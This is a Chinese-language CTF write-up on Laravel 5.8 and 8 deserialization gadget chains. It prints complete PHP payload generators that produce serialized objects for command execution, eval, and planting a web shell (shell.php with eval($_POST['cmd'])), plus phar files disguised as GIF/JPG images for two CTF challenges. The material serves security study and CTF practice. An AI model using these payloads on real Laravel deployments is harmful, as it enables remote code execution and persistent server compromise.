通过几道CTF题学习Laravel框架
通过几道CTF题学习Laravel框架
Laravel5.8.x反序列化POP链
安装:其中--prefer-dist
表示优先下载zip
压缩包方式
composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8
在路由文件routes/web.php
中添加
Route::get('/foo', function () {
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Test laravel5.8 pop";
});
然后在public
目录起一个php
服务就可以进行测试了
cd /public
php -S 0.0.0.0:port
/foo?c=
链一
链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events
和$this->event
可控,这里把$this->events
设为含有dispatch
方法的Dispatcher
类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php
来
public function dispatch($command)
{
if ($this->queueResolver
}
return $this->dispatchNow($command);
}
跟踪进commandShouldBeQueued
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
这里要求$command
(即传进来的$this->event
)要实现ShouldQueue
该接口
满足ShouldQueue
接口的实现类即可,再跟踪进dispatchToQueue
看一下
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
这里的$this->queueResolver
和$connection
都是可控的,到这里就可以直接构造payload
rce
?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
eval执行
到这里已经可以调用任意类的任意方法了,但是call_user_func
无法执行eval
函数,如果我们的system
被ban
了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这里有一个eval
函数,这里需要绕过eval
上面的if
语句,否则直接就return
了
$definition
变量是MockDefinition
类,跟进一下
class MockDefinition
{
protected $config;
protected $code;
...
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
这里$code
,$config
可控,但是呢$definition->getClassName()
需要一个不存在的类,我们找一个类其getName
是可控的,然后构造一个不存在的类即可,如下
laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php
class MockConfiguration
{
...
public function getName()
{
return $this->name;
}
...
}
payload
如下
?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config)
{
$this->config = $config;
$this->code = '?php phpinfo();?>';
}
}
}
namespace Mockery\Generator{
class MockConfiguration
{
protected $name = "none class";
}
}
namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}
}
namespace {
$config = new \Mockery\Generator\MockConfiguration();
$connection = new \Mockery\Generator\MockDefinition($config);
$event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
$queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
$events = new \Illuminate\Bus\Dispatcher($queueResolver);
$pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
echo urlencode(serialize($pendingBroadcast));
}
利用跳板
如果说靶机禁用了system
等函数,我们希望用file_put_contents
写shell
等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
...
public function filter($callable)
{
return $this->option()->filter($callable);
}
...
private function option()
{
if (null === $this->option) {
/** @var mixed */
$option = call_user_func_array($this->callback, $this->arguments);
这里的$this->callback
,$this->arguments
是可控的,但是注意到option
的属性是private
,无法直接从我们刚刚的call_user_func
直接去调用它,但是有许多类似filter
的函数里面有调用option
的
这里可以直接构造payload
?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace PhpOption{
final class LazyOption{
private $callback;
private $arguments;
public function __construct($callback, $arguments)
{
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "?php eval(\$_POST['cmd']) ?>"]);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher(array($d,"filter"));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
链二
入口同样是
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里转换思路,找某个类没有实现dispatch
方法却有__call
方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php
class Validator implements ValidatorContract
{
...
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
这里的$method
是固定的字符串dispatch
,传到$rule
的时候为空,然后$this->extensions
可控
跟踪进callExtension
方法
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
$callback
和$parameters
可控,于是就可以构造payload
了
?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
protected $extensions;
public function __construct($extensions)
{
$this->extensions = $extensions;
}
}
}
namespace{
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');
echo urlencode(serialize($a));
}
这条链在Laravel8
里面也是可以用的
利用跳板
和上面一样可以加LazyOption
这个跳板
?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "?php eval(\$_POST['cmd']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
Laravel8反序列化POP链
在下面参考链接文章中Laravel8
有介绍三条链都很详细,链和上面Laravel5.8
也差不太多,就不赘述,然后有一条可以phpnfo
的,同样是经典入口类
laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里的$this->events
和$this->event
可控
同样这里有两种方法,要不使$this->events
为某个拥有dispatch
方法的类,我们可以调用这个类的dispatch
方法
要不就使$this->events
为某个类,并且该类没有实现dispatch
方法却有__call
方法,那么就可以调用这个__call
方法了
看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php
public function __call($method, $parameters)
{
return $this->__invoke()->{$method}(...$parameters);
}
/**
* Resolve the variable.
*
* @return mixed
*/
public function __invoke()
{
return call_user_func($this->callable);
}
这里的_call
会直接调用__invoke
,$this->callable
也是我们可控的,不过这里只能调用phpinfo
,比较鸡肋,payload
如下
?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\View {
class InvokableComponentVariable {
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace {
$b = new Illuminate\View\InvokableComponentVariable('phpinfo');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);
print(urlencode(serialize($a)));
}
因为这里我们只能控制$this->callable
,想要rce
的话,还可以去找无参的方法里面带有call_user_func
或者eval
然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试
CTF题目
lumenserial
lumenserial\routes\web.php
先看到路由文件
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');
再看到
lumenserial\app\Http\Controllers\EditorController.php
class EditorController extends Controller
{
private function download($url)
{
...
$content = file_get_contents($url);
发现这里的$url
传进file_get_contents
可以phar
反序列化,然后$url
的值来源于doCatchimage
方法中的$sources
变量
class EditorController extends Controller
{
...
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
我们看到main
发现他是通过call_user_func
来调用带do
开头的方法
class EditorController extends Controller
{
...
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action)
} else {
可以通过如下控制变量
http://ip/server/editor/?action=Catchimage
$phar = new \Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.'?php __HALT_COMPILER();?>');//设置stub
$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
$phar->stopBuffering();
上传phar
文件再用phar
协议打即可
[HMBCTF 2021]EzLight
给了source.zip
源码,是laravel
框架开发的lightcms
,先在本地把环境搭起来先,主要是修改.env
文件改改数据库信息
先看到source\source\app\Http\Controllers\Admin\NEditorController.php
public function catchImage(Request $request)
{
...
$files = array_unique((array) $request->post('file'));
$urls = [];
foreach ($files as $v) {
$image = $this->fetchImageFile($v);
在catchImage
函数里面以post
传给file
参数再给到fetchImageFile
的$url
protected function fetchImageFile($url)
{
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
这里的$url
可控,这里imagecreatefromwebp
因为isWebp
的限制无法进入,所以这里的分支是进入Image::make($data);
来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps
上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage
传参数即可动态调试了
然后一直跟进就可以发现有个file_get_contents
函数
至此结束,这里可以phar
反序列化了
用上面的链一即可
?php namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } } } namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } } } namespace PhpOption{ final class LazyOption{ private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } } } namespace { $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "?php phpinfo();eval(\$_POST['cmd']);?>"]); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher(array($d,"filter")); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a))); @unlink("test.phar"); $phar = new \Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub('GIF89a'.'?php __HALT_COMPILER();?>');//设置stub $phar->setMetadata($a);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test");//添加要压缩的文件 $phar->stopBuffering(); rename('test.phar','test.jpg'); }
上传之后,在vps
上放
phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif
再到/admin/neditor/serve/catchImage
用file
传参打就可以了
本文涉及相关实验:PHP反序列化漏洞实验(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)